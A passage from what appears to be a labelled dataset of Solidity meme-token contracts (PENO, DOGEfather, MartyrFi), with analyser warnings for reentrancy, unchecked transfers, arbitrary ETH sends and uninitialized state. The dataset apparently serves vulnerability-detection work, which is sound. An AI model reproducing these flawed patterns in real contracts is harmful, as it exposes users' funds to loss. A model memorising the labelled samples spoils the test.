_approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3c7d17f\n\t\t// reentrancy-events | ID: e16fa2a\n\t\t// reentrancy-benign | ID: 4f1514e\n\t\t// reentrancy-eth | ID: 1b233e2\n\t\t// reentrancy-eth | ID: a60238d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9dd6a9b): PENO.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 9dd6a9b: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 9dd6a9b\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8031be5): PENO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8031be5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3c7d17f\n\t\t// reentrancy-events | ID: e16fa2a\n\t\t// reentrancy-eth | ID: 1b233e2\n\t\t// reentrancy-eth | ID: a60238d\n\t\t// arbitrary-send-eth | ID: 8031be5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 96a85bd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 96a85bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bad4ced): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bad4ced: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f5cff7e): PENO.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f5cff7e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc8372f): PENO.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc8372f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a8359c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a8359c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 96a85bd\n\t\t// reentrancy-benign | ID: bad4ced\n\t\t// reentrancy-eth | ID: 8a8359c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bad4ced\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: bad4ced\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 96a85bd\n\t\t// unused-return | ID: fc8372f\n\t\t// reentrancy-eth | ID: 8a8359c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 96a85bd\n\t\t// unused-return | ID: f5cff7e\n\t\t// reentrancy-eth | ID: 8a8359c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 96a85bd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8a8359c\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 96a85bd\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10889.sol",
"size_bytes": 22490,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ba6091b): DOGEfather.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for ba6091b: Consider ordering multiplication before division.\ncontract DOGEfather is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 17cc543): DOGEfather.bots is never initialized. It is used in DOGEfather._transfer(address,address,uint256)\n\t// Recommendation for 17cc543: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0817d30): DOGEfather._taxWallet should be immutable \n\t// Recommendation for 0817d30: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6845747): DOGEfather._initialBuyTax should be constant \n\t// Recommendation for 6845747: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fca9072): DOGEfather._initialSellTax should be constant \n\t// Recommendation for fca9072: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60ad612): DOGEfather._finalBuyTax should be constant \n\t// Recommendation for 60ad612: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08766ee): DOGEfather._finalSellTax should be constant \n\t// Recommendation for 08766ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57c6519): DOGEfather._reduceBuyTaxAt should be constant \n\t// Recommendation for 57c6519: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b0ba8a): DOGEfather._reduceSellTaxAt should be constant \n\t// Recommendation for 4b0ba8a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ce331d): DOGEfather._preventSwapBefore should be constant \n\t// Recommendation for 0ce331d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Department Of Godfather Elon\";\n\n string private constant _symbol = unicode\"DOGEfather\";\n\n uint256 public _maxTxAmount = _tTotal.mul(15).div(1000);\n\n uint256 public _maxWalletSize = _tTotal.mul(15).div(1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 859726e): DOGEfather._taxSwapThreshold should be constant \n\t// Recommendation for 859726e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: ba6091b\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 274c11d): DOGEfather._maxTaxSwap should be constant \n\t// Recommendation for 274c11d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(15).div(1000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xB7B16EcfA56ea94BA3bF222af60c099D27DD1fa7);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 80b821d): DOGEfather.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 80b821d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fcce234): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fcce234: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9589a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9589a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fcce234\n\t\t// reentrancy-benign | ID: f9589a3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fcce234\n\t\t// reentrancy-benign | ID: f9589a3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1ff0fe): DOGEfather._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1ff0fe: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f9589a3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fcce234\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b7a377): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b7a377: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 17cc543): DOGEfather.bots is never initialized. It is used in DOGEfather._transfer(address,address,uint256)\n\t// Recommendation for 17cc543: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3278165): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3278165: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9b7a377\n\t\t\t\t// reentrancy-eth | ID: 3278165\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9b7a377\n\t\t\t\t\t// reentrancy-eth | ID: 3278165\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3278165\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3278165\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3278165\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9b7a377\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3278165\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3278165\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9b7a377\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fcce234\n\t\t// reentrancy-events | ID: 9b7a377\n\t\t// reentrancy-benign | ID: f9589a3\n\t\t// reentrancy-eth | ID: 3278165\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveDFLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferFee() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fcce234\n\t\t// reentrancy-events | ID: 9b7a377\n\t\t// reentrancy-eth | ID: 3278165\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 48502ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 48502ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1c9ddfb): DOGEfather.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1c9ddfb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c1fc08d): DOGEfather.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c1fc08d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93e9628): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93e9628: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 48502ae\n\t\t// reentrancy-eth | ID: 93e9628\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 48502ae\n\t\t// unused-return | ID: c1fc08d\n\t\t// reentrancy-eth | ID: 93e9628\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 48502ae\n\t\t// unused-return | ID: 1c9ddfb\n\t\t// reentrancy-eth | ID: 93e9628\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 48502ae\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 93e9628\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsendETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1089.sol",
"size_bytes": 20905,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MartyrFi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: 33253ff): MartyrFi._taxWallet should be immutable \n\t// Recommendation for 33253ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f977ea9): MartyrFi._initialBuyTax should be constant \n\t// Recommendation for f977ea9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: fe09455): MartyrFi._initialSellTax should be constant \n\t// Recommendation for fe09455: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 5484fe8): MartyrFi._reduceBuyTaxAt should be constant \n\t// Recommendation for 5484fe8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 3af5380): MartyrFi._reduceSellTaxAt should be constant \n\t// Recommendation for 3af5380: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: d21a492): MartyrFi._preventSwapBefore should be constant \n\t// Recommendation for d21a492: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n string private constant _name = unicode\"MartyrFi\";\n string private constant _symbol = unicode\"MartyrFi\";\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: dca826f): MartyrFi._taxSwapThreshold should be constant \n\t// Recommendation for dca826f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: e90b477): MartyrFi._maxTaxSwap should be constant \n\t// Recommendation for e90b477: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07cc47d): MartyrFi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07cc47d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d1929f0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d1929f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89c0aab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89c0aab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n 